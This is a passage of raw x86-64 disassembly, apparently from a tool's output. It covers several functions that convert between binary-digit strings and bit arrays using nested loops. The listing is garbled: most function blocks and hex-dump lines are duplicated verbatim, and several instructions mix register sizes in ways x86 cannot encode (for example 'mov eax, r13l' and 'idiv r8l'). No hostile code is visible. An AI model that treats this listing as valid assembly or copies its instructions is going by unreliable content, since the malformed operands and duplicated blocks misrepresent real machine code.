0043ba87lea rdx, [rbp+136]
0043ba8ecall fn_40c750
0043ba93mov [rbp+120], 1
0043ba97mov eax, [rbp+56]
0043ba9aadd al, 48
0043ba9dmov [rbp+121], al
0043baa0lea rcx, [rbp+128]
0043baa7lea rdx, [rbp+120]
0043baabmov r8l, 2
0043bab1call fn_40c780
0043bab6lea rcx, [rbp+112]
0043babalea rdx, [rbp+128]
0043bac1call fn_40c750
0043bac6mov [rbp+120], 1
0043bacamov eax, [rbp+60]
0043bacdadd al, 48
0043bad0mov [rbp+121], al
0043bad3lea rcx, [rbp+112]
0043bad7lea rdx, [rbp+120]
0043badbmov r8l, 3
0043bae1call fn_40c780
0043bae6lea rcx, [rbp+104]
0043baealea rdx, [rbp+112]
0043baeecall fn_40c750
0043baf3mov [rbp+120], 1
0043baf7mov eax, ebx
0043baf9add al, 48
0043bafcmov [rbp+121], al
0043bafflea rcx, [rbp+104]
0043bb03lea rdx, [rbp+120]
0043bb07mov r8l, 4
0043bb0dcall fn_40c780
0043bb12lea rcx, [rbp+96]
0043bb16lea rdx, [rbp+104]
0043bb1acall fn_40c750
0043bb1fmov [rbp+120], 1
0043bb23mov eax, esi
0043bb26add al, 48
0043bb29mov [rbp+121], al
0043bb2clea rcx, [rbp+96]
0043bb30lea rdx, [rbp+120]
0043bb34mov r8l, 5
0043bb3acall fn_40c780
0043bb3flea rcx, [rbp+88]
0043bb43lea rdx, [rbp+96]
0043bb47call fn_40c750
0043bb4cmov [rbp+120], 1
0043bb50mov eax, edi
0043bb53add al, 48
0043bb56mov [rbp+121], al
0043bb59lea rcx, [rbp+88]
0043bb5dlea rdx, [rbp+120]
0043bb61mov r8l, 6
0043bb67call fn_40c780
0043bb6clea rcx, [rbp+80]
0043bb70lea rdx, [rbp+88]
0043bb74call fn_40c750
0043bb79mov [rbp+120], 1
0043bb7dmov eax, r13l
0043bb80add al, 48
0043bb83mov [rbp+121], al
0043bb86lea rcx, [rbp+80]
0043bb8alea rdx, [rbp+120]
0043bb8emov r8l, 7
0043bb94call fn_40c780
0043bb99lea rcx, [rbp+64]
0043bb9dlea rdx, [rbp+80]
0043bba1call fn_40c750
0043bba6mov [rbp+120], 1
0043bbaamov eax, r14l
0043bbadadd al, 48
0043bbb0mov [rbp+121], al
0043bbb3lea rcx, [rbp+64]
0043bbb7lea rdx, [rbp+120]
0043bbbbmov r8l, 8
0043bbc1call fn_40c780
0043bbc6lea rcx, [rbp+152]
0043bbcdlea rdx, [rbp+64]
0043bbd1xor r8, r8
0043bbd4call fn_40c890
0043bbd9lea rcx, [rbp+151]
0043bbe0mov rdx, [rbp+152]
0043bbe7call fn_43b980
0043bbecmovzx rax, [rbp+151]
0043bbf4mov rcx, [rbp+40]
0043bbf8lea rcx, [rcx+8*rax]
0043bbfcmov rdx, [rbp+152]
0043bc03call fn_40c4a0
0043bc08add r14l, 1
0043bc0ccmp r14l, 2
0043bc10jne 0x43ba6d
0043bc16nop
0043bc17add r13l, 1
0043bc1bcmp r13l, 2
0043bc1fjne 0x43ba6a
0043bc25nop
0043bc26add edi, 1
0043bc29cmp edi, 2
0043bc2cjne 0x43ba67
0043bc32nop
0043bc33add esi, 1
0043bc36cmp esi, 2
0043bc39jne 0x43ba65
0043bc3fnop
0043bc40add ebx, 1
0043bc43cmp ebx, 2
0043bc46jne 0x43ba63
0043bc4cnop
0043bc4dmov eax, [rbp+60]
0043bc50add eax, 1
0043bc53mov [rbp+60], eax
0043bc56mov eax, [rbp+60]
0043bc59cmp eax, 2
0043bc5cjne 0x43ba61
0043bc62nop
0043bc63mov eax, [rbp+56]
0043bc66add eax, 1
0043bc69mov [rbp+56], eax
0043bc6cmov eax, [rbp+56]
0043bc6fcmp eax, 2
0043bc72jne 0x43ba5c
0043bc78nop
0043bc79mov eax, [rbp+52]
0043bc7cadd eax, 1
0043bc7fmov [rbp+52], eax
0043bc82mov eax, [rbp+52]
0043bc85cmp eax, 2
0043bc88jne 0x43ba57
0043bc8enop
0043bc8fnop
0043bc90lea rcx, [rbp+152]
0043bc97call fn_40bd40
0043bc9clea rsp, [rbp+168]
0043bca3pop rbx
0043bca4pop rsi
0043bca5pop rdi
0043bca6pop r13
0043bca8pop r14
0043bcaapop rbp
0043bcabret
0043ba30
0043ba30fn_43ba30:
0043ba30push rbp
0043ba31push r14
0043ba33push r13
0043ba35push rdi
0043ba36push rsi
0043ba37push rbx
0043ba38sub rsp, 168
0043ba3fmov rbp, rsp
0043ba42mov [rbp+40], rcx
0043ba46mov [rbp+152], 0
0043ba51nop
0043ba52xor eax, eax
0043ba54mov [rbp+52], eax
0043ba57
0043ba57loc_43ba57:
0043ba57xor eax, eax
0043ba59mov [rbp+56], eax
0043ba5c
0043ba5cloc_43ba5c:
0043ba5cxor eax, eax
0043ba5emov [rbp+60], eax
0043ba61
0043ba61loc_43ba61:
0043ba61xor ebx, ebx
0043ba63
0043ba63loc_43ba63:
0043ba63xor esi, esi
0043ba65
0043ba65loc_43ba65:
0043ba65xor edi, edi
0043ba67
0043ba67loc_43ba67:
0043ba67xor r13, r13
0043ba6a
0043ba6aloc_43ba6a:
0043ba6axor r14, r14
0043ba6d
0043ba6dloc_43ba6d:
0043ba6dmov [rbp+136], 1
0043ba74mov eax, [rbp+52]
0043ba77add al, 48
0043ba7amov [rbp+137], al
0043ba80lea rcx, [rbp+128]
0043ba87lea rdx, [rbp+136]
0043ba8ecall fn_40c750
0043ba93mov [rbp+120], 1
0043ba97mov eax, [rbp+56]
0043ba9aadd al, 48
0043ba9dmov [rbp+121], al
0043baa0lea rcx, [rbp+128]
0043baa7lea rdx, [rbp+120]
0043baabmov r8l, 2
0043bab1call fn_40c780
0043bab6lea rcx, [rbp+112]
0043babalea rdx, [rbp+128]
0043bac1call fn_40c750
0043bac6mov [rbp+120], 1
0043bacamov eax, [rbp+60]
0043bacdadd al, 48
0043bad0mov [rbp+121], al
0043bad3lea rcx, [rbp+112]
0043bad7lea rdx, [rbp+120]
0043badbmov r8l, 3
0043bae1call fn_40c780
0043bae6lea rcx, [rbp+104]
0043baealea rdx, [rbp+112]
0043baeecall fn_40c750
0043baf3mov [rbp+120], 1
0043baf7mov eax, ebx
0043baf9add al, 48
0043bafcmov [rbp+121], al
0043bafflea rcx, [rbp+104]
0043bb03lea rdx, [rbp+120]
0043bb07mov r8l, 4
0043bb0dcall fn_40c780
0043bb12lea rcx, [rbp+96]
0043bb16lea rdx, [rbp+104]
0043bb1acall fn_40c750
0043bb1fmov [rbp+120], 1
0043bb23mov eax, esi
0043bb26add al, 48
0043bb29mov [rbp+121], al
0043bb2clea rcx, [rbp+96]
0043bb30lea rdx, [rbp+120]
0043bb34mov r8l, 5
0043bb3acall fn_40c780
0043bb3flea rcx, [rbp+88]
0043bb43lea rdx, [rbp+96]
0043bb47call fn_40c750
0043bb4cmov [rbp+120], 1
0043bb50mov eax, edi
0043bb53add al, 48
0043bb56mov [rbp+121], al
0043bb59lea rcx, [rbp+88]
0043bb5dlea rdx, [rbp+120]
0043bb61mov r8l, 6
0043bb67call fn_40c780
0043bb6clea rcx, [rbp+80]
0043bb70lea rdx, [rbp+88]
0043bb74call fn_40c750
0043bb79mov [rbp+120], 1
0043bb7dmov eax, r13l
0043bb80add al, 48
0043bb83mov [rbp+121], al
0043bb86lea rcx, [rbp+80]
0043bb8alea rdx, [rbp+120]
0043bb8emov r8l, 7
0043bb94call fn_40c780
0043bb99lea rcx, [rbp+64]
0043bb9dlea rdx, [rbp+80]
0043bba1call fn_40c750
0043bba6mov [rbp+120], 1
0043bbaamov eax, r14l
0043bbadadd al, 48
0043bbb0mov [rbp+121], al
0043bbb3lea rcx, [rbp+64]
0043bbb7lea rdx, [rbp+120]
0043bbbbmov r8l, 8
0043bbc1call fn_40c780
0043bbc6lea rcx, [rbp+152]
0043bbcdlea rdx, [rbp+64]
0043bbd1xor r8, r8
0043bbd4call fn_40c890
0043bbd9lea rcx, [rbp+151]
0043bbe0mov rdx, [rbp+152]
0043bbe7call fn_43b980
0043bbecmovzx rax, [rbp+151]
0043bbf4mov rcx, [rbp+40]
0043bbf8lea rcx, [rcx+8*rax]
0043bbfcmov rdx, [rbp+152]
0043bc03call fn_40c4a0
0043bc08add r14l, 1
0043bc0ccmp r14l, 2
0043bc10jne 0x43ba6d
0043bc16nop
0043bc17add r13l, 1
0043bc1bcmp r13l, 2
0043bc1fjne 0x43ba6a
0043bc25nop
0043bc26add edi, 1
0043bc29cmp edi, 2
0043bc2cjne 0x43ba67
0043bc32nop
0043bc33add esi, 1
0043bc36cmp esi, 2
0043bc39jne 0x43ba65
0043bc3fnop
0043bc40add ebx, 1
0043bc43cmp ebx, 2
0043bc46jne 0x43ba63
0043bc4cnop
0043bc4dmov eax, [rbp+60]
0043bc50add eax, 1
0043bc53mov [rbp+60], eax
0043bc56mov eax, [rbp+60]
0043bc59cmp eax, 2
0043bc5cjne 0x43ba61
0043bc62nop
0043bc63mov eax, [rbp+56]
0043bc66add eax, 1
0043bc69mov [rbp+56], eax
0043bc6cmov eax, [rbp+56]
0043bc6fcmp eax, 2
0043bc72jne 0x43ba5c
0043bc78nop
0043bc79mov eax, [rbp+52]
0043bc7cadd eax, 1
0043bc7fmov [rbp+52], eax
0043bc82mov eax, [rbp+52]
0043bc85cmp eax, 2
0043bc88jne 0x43ba57
0043bc8enop
0043bc8fnop
0043bc90lea rcx, [rbp+152]
0043bc97call fn_40bd40
0043bc9clea rsp, [rbp+168]
0043bca3pop rbx
0043bca4pop rsi
0043bca5pop rdi
0043bca6pop r13
0043bca8pop r14
0043bcaapop rbp
0043bcabret
0043ba30
0043bcac
0043bcac 48 8d 40 00 H.@.
0043bcac 48 8d 40 00 H.@.
0043bcb0
0043bcb0fn_43bcb0:
0043bcb0push rbp
0043bcb1sub rsp, 32
0043bcb5mov rbp, rsp
0043bcb8lea rcx, [rdx+152]
0043bcbfcall fn_40bd40
0043bcc4lea rsp, [rbp+32]
0043bcc8pop rbp
0043bcc9ret
0043bcb0
0043bcb0fn_43bcb0:
0043bcb0push rbp
0043bcb1sub rsp, 32
0043bcb5mov rbp, rsp
0043bcb8lea rcx, [rdx+152]
0043bcbfcall fn_40bd40
0043bcc4lea rsp, [rbp+32]
0043bcc8pop rbp
0043bcc9ret
0043bcb0
0043bcca
0043bcca // align 0x10
0043bcca // align 0x10
0043bcd0
0043bcd0fn_43bcd0:
0043bcd0push rbp
0043bcd1push rbx
0043bcd2sub rsp, 88
0043bcd6mov rbp, rsp
0043bcd9mov [rbp+40], rdx
0043bcddmov [rbp+48], 0
0043bce5mov [rbp+56], 0
0043bcedmov [rbp+112], rcx
0043bcf1mov rcx, [rbp+112]
0043bcf5call fn_40bee0
0043bcfanop
0043bcfbmov rcx, [rbp+40]
0043bcffcall fn_40bd40
0043bd04jmp 0x43bd1a
0043bd06
0043bd06loc_43bd06:
0043bd06lea rcx, [rbp+112]
0043bd0alea rdx, [rip+279]
0043bd11mov r8, [rbp+112]
0043bd15call fn_40ca10
0043bd1a
0043bd1aloc_43bd1a:
0043bd1axor eax, eax
0043bd1cmov rcx, [rbp+112]
0043bd20test rcx, rcx
0043bd23je 0x43bd28
0043bd25mov eax, [rcx-4]
0043bd28
0043bd28loc_43bd28:
0043bd28and eax, 0xffffffff80000007
0043bd2ejns 0x43bd39
0043bd30sub eax, 1
0043bd33or eax, -8
0043bd36add eax, 1
0043bd39
0043bd39loc_43bd39:
0043bd39test eax, eax
0043bd3bjne 0x43bd06
0043bd3dxor eax, eax
0043bd3fmov rcx, [rbp+112]
0043bd43test rcx, rcx
0043bd46je 0x43bd4b
0043bd48mov eax, [rcx-4]
0043bd4b
0043bd4bloc_43bd4b:
0043bd4btest eax, eax
0043bd4djns 0x43bd52
0043bd4fadd eax, 7
0043bd52
0043bd52loc_43bd52:
0043bd52sar eax, 3
0043bd55mov ecx, 1
0043bd5amov ebx, eax
0043bd5cmov eax, ecx
0043bd5ecmp eax, ebx
0043bd60jg 0x43bdc6
0043bd62sub ebx, ecx
0043bd64add ebx, 1
0043bd67
0043bd67loc_43bd67:
0043bd67lea rcx, [rbp+56]
0043bd6bmov rdx, [rbp+112]
0043bd6fmov r8l, 1
0043bd75mov r9l, 8
0043bd7bcall fn_40ce30
0043bd80lea rcx, [rbp+79]
0043bd84mov rdx, [rbp+56]
0043bd88call fn_43b980
0043bd8dlea rcx, [rbp+48]
0043bd91movzx rdx, [rbp+79]
0043bd96xor r8, r8
0043bd99call fn_40c820
0043bd9emov rcx, [rbp+40]
0043bda2mov rdx, [rbp+48]
0043bda6call fn_40c910
0043bdablea rcx, [rbp+112]
0043bdafmov edx, 1
0043bdb4mov r8l, 8
0043bdbacall fn_40ceb0
0043bdbfsub ebx, 1
0043bdc2test ebx, ebx
0043bdc4jne 0x43bd67
0043bdc6
0043bdc6loc_43bdc6:
0043bdc6nop
0043bdc7nop
0043bdc8lea rcx, [rbp+48]
0043bdccmov edx, 2
0043bdd1call fn_40be20
0043bdd6lea rcx, [rbp+112]
0043bddacall fn_40bd40
0043bddflea rsp, [rbp+88]
0043bde3pop rbx
0043bde4pop rbp
0043bde5ret
0043bcd0
0043bcd0fn_43bcd0:
0043bcd0push rbp
0043bcd1push rbx
0043bcd2sub rsp, 88
0043bcd6mov rbp, rsp
0043bcd9mov [rbp+40], rdx
0043bcddmov [rbp+48], 0
0043bce5mov [rbp+56], 0
0043bcedmov [rbp+112], rcx
0043bcf1mov rcx, [rbp+112]
0043bcf5call fn_40bee0
0043bcfanop
0043bcfbmov rcx, [rbp+40]
0043bcffcall fn_40bd40
0043bd04jmp 0x43bd1a
0043bd06
0043bd06loc_43bd06:
0043bd06lea rcx, [rbp+112]
0043bd0alea rdx, [rip+279]
0043bd11mov r8, [rbp+112]
0043bd15call fn_40ca10
0043bd1a
0043bd1aloc_43bd1a:
0043bd1axor eax, eax
0043bd1cmov rcx, [rbp+112]
0043bd20test rcx, rcx
0043bd23je 0x43bd28
0043bd25mov eax, [rcx-4]
0043bd28
0043bd28loc_43bd28:
0043bd28and eax, 0xffffffff80000007
0043bd2ejns 0x43bd39
0043bd30sub eax, 1
0043bd33or eax, -8
0043bd36add eax, 1
0043bd39
0043bd39loc_43bd39:
0043bd39test eax, eax
0043bd3bjne 0x43bd06
0043bd3dxor eax, eax
0043bd3fmov rcx, [rbp+112]
0043bd43test rcx, rcx
0043bd46je 0x43bd4b
0043bd48mov eax, [rcx-4]
0043bd4b
0043bd4bloc_43bd4b:
0043bd4btest eax, eax
0043bd4djns 0x43bd52
0043bd4fadd eax, 7
0043bd52
0043bd52loc_43bd52:
0043bd52sar eax, 3
0043bd55mov ecx, 1
0043bd5amov ebx, eax
0043bd5cmov eax, ecx
0043bd5ecmp eax, ebx
0043bd60jg 0x43bdc6
0043bd62sub ebx, ecx
0043bd64add ebx, 1
0043bd67
0043bd67loc_43bd67:
0043bd67lea rcx, [rbp+56]
0043bd6bmov rdx, [rbp+112]
0043bd6fmov r8l, 1
0043bd75mov r9l, 8
0043bd7bcall fn_40ce30
0043bd80lea rcx, [rbp+79]
0043bd84mov rdx, [rbp+56]
0043bd88call fn_43b980
0043bd8dlea rcx, [rbp+48]
0043bd91movzx rdx, [rbp+79]
0043bd96xor r8, r8
0043bd99call fn_40c820
0043bd9emov rcx, [rbp+40]
0043bda2mov rdx, [rbp+48]
0043bda6call fn_40c910
0043bdablea rcx, [rbp+112]
0043bdafmov edx, 1
0043bdb4mov r8l, 8
0043bdbacall fn_40ceb0
0043bdbfsub ebx, 1
0043bdc2test ebx, ebx
0043bdc4jne 0x43bd67
0043bdc6
0043bdc6loc_43bdc6:
0043bdc6nop
0043bdc7nop
0043bdc8lea rcx, [rbp+48]
0043bdccmov edx, 2
0043bdd1call fn_40be20
0043bdd6lea rcx, [rbp+112]
0043bddacall fn_40bd40
0043bddflea rsp, [rbp+88]
0043bde3pop rbx
0043bde4pop rbp
0043bde5ret
0043bcd0
0043bde6
0043bde6 48 90 48 8d 04 05 00 00 00 00 H.H.......
0043bde6 48 90 48 8d 04 05 00 00 00 00 H.H.......
0043bdf0
0043bdf0fn_43bdf0:
0043bdf0push rbp
0043bdf1push rbx
0043bdf2sub rsp, 40
0043bdf6mov rbp, rsp
0043bdf9mov rbx, rdx
0043bdfclea rcx, [rbx+48]
0043be00mov edx, 2
0043be05call fn_40be20
0043be0alea rcx, [rbx+112]
0043be0ecall fn_40bd40
0043be13lea rsp, [rbp+40]
0043be17pop rbx
0043be18pop rbp
0043be19ret
0043bdf0
0043bdf0fn_43bdf0:
0043bdf0push rbp
0043bdf1push rbx
0043bdf2sub rsp, 40
0043bdf6mov rbp, rsp
0043bdf9mov rbx, rdx
0043bdfclea rcx, [rbx+48]
0043be00mov edx, 2
0043be05call fn_40be20
0043be0alea rcx, [rbx+112]
0043be0ecall fn_40bd40
0043be13lea rsp, [rbp+40]
0043be17pop rbx
0043be18pop rbp
0043be19ret
0043bdf0
0043be1a
0043be1a 00 00 e3 04 01 00 ......
0043be20 ff ff ff ff 01 00 00 00 30 00 cc cc cc cc cc cc ........0.......
0043be1a 00 00 e3 04 01 00 ......
0043be20 ff ff ff ff 01 00 00 00 30 00 cc cc cc cc cc cc ........0.......
0043be30
0043be30fn_43be30:
0043be30push r13
0043be32push rdi
0043be33push rsi
0043be34push rbx
0043be35sub rsp, 40
0043be39mov rbx, rdx
0043be3cmov [rsp+80], rcx
0043be41mov rcx, rbx
0043be44call fn_40bd40
0043be49mov eax, 1
0043be4emov rcx, [rsp+80]
0043be53mov rcx, [rcx+8]
0043be57mov r13l, [rcx]
0043be5amov esi, eax
0043be5ccmp esi, r13l
0043be5fja 0x43bebf
0043be61sub r13l, eax
0043be64add r13l, 1
0043be68
0043be68loc_43be68:
0043be68xor edi, edi
0043be6a
0043be6aloc_43be6a:
0043be6amov rax, [rsp+80]
0043be6fmov rax, [rax+8]
0043be73mov ecx, esi
0043be75mov eax, [rax+4*rcx]
0043be78mov ecx, edi
0043be7ashr eax, cl
0043be7cand eax, 1
0043be7fcmp eax, 1
0043be82jne 0x43be98
0043be84mov rcx, rbx
0043be87lea rdx, [rip+142]
0043be8emov r8, [rbx]
0043be91call fn_40ca10
0043be96jmp 0x43beaa
0043be98
0043be98loc_43be98:
0043be98mov rcx, rbx
0043be9blea rdx, [rip+138]
0043bea2mov r8, [rbx]
0043bea5call fn_40ca10
0043beaa
0043beaaloc_43beaa:
0043beaaadd edi, 1
0043beadcmp edi, 31
0043beb0jne 0x43be6a
0043beb2nop
0043beb3add esi, 1
0043beb6sub r13l, 1
0043bebatest r13l, r13l
0043bebdjne 0x43be68
0043bebf
0043bebfloc_43bebf:
0043bebfnop
0043bec0jmp 0x43bed5
0043bec2
0043bec2loc_43bec2:
0043bec2mov rcx, rbx
0043bec5mov edx, 1
0043becamov r8l, 1
0043bed0call fn_40ceb0
0043bed5
0043bed5loc_43bed5:
0043bed5xor eax, eax
0043bed7mov rcx, [rbx]
0043bedatest rcx, rcx
0043beddje 0x43bee2
0043bedfmov eax, [rcx-4]
0043bee2
0043bee2loc_43bee2:
0043bee2cmp eax, 1
0043bee5jle 0x43beef
0043bee7mov rax, [rbx]
0043beeacmp [rax], 48
0043beedje 0x43bec2
0043beef
0043beefloc_43beef:
0043beefcmp [rbx], 0
0043bef3jne 0x43bf04
0043bef5mov rcx, rbx
0043bef8lea rdx, [rip+45]
0043beffcall fn_40c4a0
0043bf04
0043bf04loc_43bf04:
0043bf04add rsp, 40
0043bf08pop rbx
0043bf09pop rsi
0043bf0apop rdi
0043bf0bpop r13
0043bf0dret
0043be30
0043be30fn_43be30:
0043be30push r13
0043be32push rdi
0043be33push rsi
0043be34push rbx
0043be35sub rsp, 40
0043be39mov rbx, rdx
0043be3cmov [rsp+80], rcx
0043be41mov rcx, rbx
0043be44call fn_40bd40
0043be49mov eax, 1
0043be4emov rcx, [rsp+80]
0043be53mov rcx, [rcx+8]
0043be57mov r13l, [rcx]
0043be5amov esi, eax
0043be5ccmp esi, r13l
0043be5fja 0x43bebf
0043be61sub r13l, eax
0043be64add r13l, 1
0043be68
0043be68loc_43be68:
0043be68xor edi, edi
0043be6a
0043be6aloc_43be6a:
0043be6amov rax, [rsp+80]
0043be6fmov rax, [rax+8]
0043be73mov ecx, esi
0043be75mov eax, [rax+4*rcx]
0043be78mov ecx, edi
0043be7ashr eax, cl
0043be7cand eax, 1
0043be7fcmp eax, 1
0043be82jne 0x43be98
0043be84mov rcx, rbx
0043be87lea rdx, [rip+142]
0043be8emov r8, [rbx]
0043be91call fn_40ca10
0043be96jmp 0x43beaa
0043be98
0043be98loc_43be98:
0043be98mov rcx, rbx
0043be9blea rdx, [rip+138]
0043bea2mov r8, [rbx]
0043bea5call fn_40ca10
0043beaa
0043beaaloc_43beaa:
0043beaaadd edi, 1
0043beadcmp edi, 31
0043beb0jne 0x43be6a
0043beb2nop
0043beb3add esi, 1
0043beb6sub r13l, 1
0043bebatest r13l, r13l
0043bebdjne 0x43be68
0043bebf
0043bebfloc_43bebf:
0043bebfnop
0043bec0jmp 0x43bed5
0043bec2
0043bec2loc_43bec2:
0043bec2mov rcx, rbx
0043bec5mov edx, 1
0043becamov r8l, 1
0043bed0call fn_40ceb0
0043bed5
0043bed5loc_43bed5:
0043bed5xor eax, eax
0043bed7mov rcx, [rbx]
0043bedatest rcx, rcx
0043beddje 0x43bee2
0043bedfmov eax, [rcx-4]
0043bee2
0043bee2loc_43bee2:
0043bee2cmp eax, 1
0043bee5jle 0x43beef
0043bee7mov rax, [rbx]
0043beeacmp [rax], 48
0043beedje 0x43bec2
0043beef
0043beefloc_43beef:
0043beefcmp [rbx], 0
0043bef3jne 0x43bf04
0043bef5mov rcx, rbx
0043bef8lea rdx, [rip+45]
0043beffcall fn_40c4a0
0043bf04
0043bf04loc_43bf04:
0043bf04add rsp, 40
0043bf08pop rbx
0043bf09pop rsi
0043bf0apop rdi
0043bf0bpop r13
0043bf0dret
0043be30
0043bf0e
0043bf0e 00 00 ..
0043bf10 e3 04 01 00 ff ff ff ff 01 00 00 00 31 00 00 00 ............1...
0043bf20 e3 04 01 00 ff ff ff ff 01 00 00 00 30 00 cc cc ............0...
0043bf0e 00 00 ..
0043bf10 e3 04 01 00 ff ff ff ff 01 00 00 00 31 00 00 00 ............1...
0043bf20 e3 04 01 00 ff ff ff ff 01 00 00 00 30 00 cc cc ............0...
0043bf30
0043bf30fn_43bf30:
0043bf30push rbp
0043bf31push rdi
0043bf32push rsi
0043bf33push rbx
0043bf34sub rsp, 56
0043bf38mov rbp, rsp
0043bf3bmov [rbp+40], rdx
0043bf3fmov [rbp+96], rcx
0043bf43mov rcx, [rbp+96]
0043bf47call fn_40bee0
0043bf4cnop
0043bf4djmp 0x43bf63
0043bf4f
0043bf4floc_43bf4f:
0043bf4flea rcx, [rbp+96]
0043bf53mov edx, 1
0043bf58mov r8l, 1
0043bf5ecall fn_40ceb0
0043bf63
0043bf63loc_43bf63:
0043bf63mov rax, [rbp+96]
0043bf67cmp [rax], 48
0043bf6ajne 0x43bf82
0043bf6cxor eax, eax
0043bf6emov rcx, [rbp+96]
0043bf72test rcx, rcx
0043bf75je 0x43bf7a
0043bf77mov eax, [rcx-4]
0043bf7a
0043bf7aloc_43bf7a:
0043bf7acmp eax, 1
0043bf7dsetg al
0043bf80jmp 0x43bf84
0043bf82
0043bf82loc_43bf82:
0043bf82xor eax, eax
0043bf84
0043bf84loc_43bf84:
0043bf84test al, al
0043bf86jne 0x43bf4f
0043bf88xor eax, eax
0043bf8amov rcx, [rbp+96]
0043bf8etest rcx, rcx
0043bf91je 0x43bf96
0043bf93mov eax, [rcx-4]
0043bf96
0043bf96loc_43bf96:
0043bf96mov r8l, 31
0043bf9ccdq
0043bf9didiv r8l
0043bfa0mov rdi, rax
0043bfa3xor eax, eax
0043bfa5test rcx, rcx
0043bfa8je 0x43bfad
0043bfaamov eax, [rcx-4]
0043bfad
0043bfadloc_43bfad:
0043bfadmov ecx, 31
0043bfb2cdq
0043bfb3idiv ecx
0043bfb5test edx, edx
0043bfb7je 0x43bfbc
0043bfb9add edi, 1
0043bfbc
0043bfbcloc_43bfbc:
0043bfbcmov rax, [rbp+40]
0043bfc0lea rcx, [rax+8]
0043bfc4mov rdx, [rip-1811]
0043bfcbmov r8l, 1
0043bfd1mov r9l, edi
0043bfd4add r9l, 1
0043bfd8mov r9l, r9l
0043bfdbcall fn_410430
0043bfe0mov rax, [rbp+40]
0043bfe4mov rax, [rax+8]
0043bfe8mov [rax], edi
0043bfeamov esi, 1
0043bfefmov rax, [rbp+40]
0043bff3mov rax, [rax+8]
0043bff7mov ecx, esi
0043bff9mov [rax+4*rcx], 0
0043c000xor ebx, ebx
0043c002jmp 0x43c076
0043c004
0043c004loc_43c004:
0043c004xor eax, eax
0043c006test rcx, rcx
0043c009je 0x43c00e
0043c00bmov eax, [rcx-4]
0043c00e
0043c00eloc_43c00e:
0043c00emov rcx, [rbp+96]
0043c012movsxd rax, eax
0043c015cmp [rcx+rax-1], 49
0043c01ajne 0x43c035
0043c01cmov rax, [rbp+40]
0043c020mov rax, [rax+8]
0043c024mov ecx, esi
0043c026lea rax, [rax+4*rcx]
0043c02amov edx, 1
0043c02fmov ecx, ebx
0043c031shl edx, cl
0043c033or [rax], edx
0043c035
0043c035loc_43c035:
0043c035add ebx, 1
0043c038cmp ebx, 31
0043c03bjne 0x43c057
0043c03dxor ebx, ebx
0043c03fadd esi, 1
0043c042cmp esi, edi
0043c044ja 0x43c057
0043c046mov rax, [rbp+40]
0043c04amov rax, [rax+8]
0043c04emov ecx, esi
0043c050mov [rax+4*rcx], 0
0043c057
0043c057loc_43c057:
0043c057xor eax, eax
0043c059mov rcx, [rbp+96]
0043c05dtest rcx, rcx
0043c060je 0x43c065
0043c062mov eax, [rcx-4]
0043c065
0043c065loc_43c065:
0043c065lea rcx, [rbp+96]
0043c069mov edx, eax
0043c06bmov r8l, 1
0043c071call fn_40ceb0
0043c076
0043c076loc_43c076:
0043c076xor eax, eax
0043c078mov rcx, [rbp+96]
0043c07ctest rcx, rcx
0043c07fje 0x43c084
0043c081mov eax, [rcx-4]
0043c084
0043c084loc_43c084:
0043c084test eax, eax
0043c086jg 0x43c004
0043c08cmov rax, [rbp+40]
0043c090mov [rax], 1
0043c093nop
0043c094lea rcx, [rbp+96]
0043c098call fn_40bd40
0043c09dlea rsp, [rbp+56]
0043c0a1pop rbx
0043c0a2pop rsi
0043c0a3pop rdi
0043c0a4pop rbp
0043c0a5ret
0043bf30
0043bf30fn_43bf30:
0043bf30push rbp
0043bf31push rdi
0043bf32push rsi
0043bf33push rbx
0043bf34sub rsp, 56
0043bf38mov rbp, rsp
0043bf3bmov [rbp+40], rdx
0043bf3fmov [rbp+96], rcx
0043bf43mov rcx, [rbp+96]
0043bf47call fn_40bee0
0043bf4cnop
0043bf4djmp 0x43bf63
0043bf4f
0043bf4floc_43bf4f:
0043bf4flea rcx, [rbp+96]
0043bf53mov edx, 1
0043bf58mov r8l, 1
0043bf5ecall fn_40ceb0
0043bf63
0043bf63loc_43bf63:
0043bf63mov rax, [rbp+96]
0043bf67cmp [rax], 48
0043bf6ajne 0x43bf82
0043bf6cxor eax, eax
0043bf6emov rcx, [rbp+96]
0043bf72test rcx, rcx
0043bf75je 0x43bf7a
0043bf77mov eax, [rcx-4]
0043bf7a
0043bf7aloc_43bf7a:
0043bf7acmp eax, 1
0043bf7dsetg al
0043bf80jmp 0x43bf84
0043bf82
0043bf82loc_43bf82:
0043bf82xor eax, eax
0043bf84
0043bf84loc_43bf84:
0043bf84test al, al
0043bf86jne 0x43bf4f
0043bf88xor eax, eax
0043bf8amov rcx, [rbp+96]
0043bf8etest rcx, rcx
0043bf91je 0x43bf96
0043bf93mov eax, [rcx-4]
0043bf96
0043bf96loc_43bf96:
0043bf96mov r8l, 31
0043bf9ccdq
0043bf9didiv r8l
0043bfa0mov rdi, rax
0043bfa3xor eax, eax
0043bfa5test rcx, rcx
0043bfa8je 0x43bfad
0043bfaamov eax, [rcx-4]
0043bfad
0043bfadloc_43bfad:
0043bfadmov ecx, 31
0043bfb2cdq
0043bfb3idiv ecx
0043bfb5test edx, edx
0043bfb7je 0x43bfbc
0043bfb9add edi, 1
0043bfbc
0043bfbcloc_43bfbc:
0043bfbcmov rax, [rbp+40]
0043bfc0lea rcx, [rax+8]
0043bfc4mov rdx, [rip-1811]
0043bfcbmov r8l, 1
0043bfd1mov r9l, edi
0043bfd4add r9l, 1
0043bfd8mov r9l, r9l
0043bfdbcall fn_410430
0043bfe0mov rax, [rbp+40]
0043bfe4mov rax, [rax+8]
0043bfe8mov [rax], edi
0043bfeamov esi, 1
0043bfefmov rax, [rbp+40]
0043bff3mov rax, [rax+8]
0043bff7mov ecx, esi
0043bff9mov [rax+4*rcx], 0
0043c000xor ebx, ebx
0043c002jmp 0x43c076
0043c004
0043c004loc_43c004:
0043c004xor eax, eax
0043c006test rcx, rcx
0043c009je 0x43c00e
0043c00bmov eax, [rcx-4]
0043c00e
0043c00eloc_43c00e:
0043c00emov rcx, [rbp+96]
0043c012movsxd rax, eax
0043c015cmp [rcx+rax-1], 49
0043c01ajne 0x43c035
0043c01cmov rax, [rbp+40]
0043c020mov rax, [rax+8]
0043c024mov ecx, esi
0043c026lea rax, [rax+4*rcx]
0043c02amov edx, 1
0043c02fmov ecx, ebx
0043c031shl edx, cl
0043c033or [rax], edx
0043c035
0043c035loc_43c035:
0043c035add ebx, 1
0043c038cmp ebx, 31
0043c03bjne 0x43c057
0043c03dxor ebx, ebx
0043c03fadd esi, 1
0043c042cmp esi, edi
0043c044ja 0x43c057
0043c046mov rax, [rbp+40]
0043c04amov rax, [rax+8]
